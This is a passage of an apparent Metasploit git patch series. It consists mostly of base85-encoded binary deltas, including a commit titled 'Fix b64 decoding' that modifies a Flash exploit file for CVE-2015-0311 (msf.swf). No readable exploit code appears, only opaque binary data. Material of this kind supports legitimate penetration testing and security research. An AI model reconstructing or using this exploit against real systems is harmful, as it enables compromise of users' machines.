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 V5qb-VXtSriZo?8}pa15$8`74)_N4#- From 3e122fe87c327172c3d17e711172650d5427fca5 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Tue, 26 May 2015 15:15:33 -0500 Subject: [PATCH 27/55] Fix b64 decoding --- data/exploits/CVE-2015-0311/msf.swf | Bin 20531 -> 20410 bytes 1 file changed, 0 insertions(+), 0 deletions(-) diff --git a/data/exploits/CVE-2015-0311/msf.swf b/data/exploits/CVE-2015-0311/msf.swf index 860efe1292298d18f43163f4d77d920d589fbe13..1f38921a2654c4e50f12af878923767cb3fccc64 100644 GIT binary patch delta 20288 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 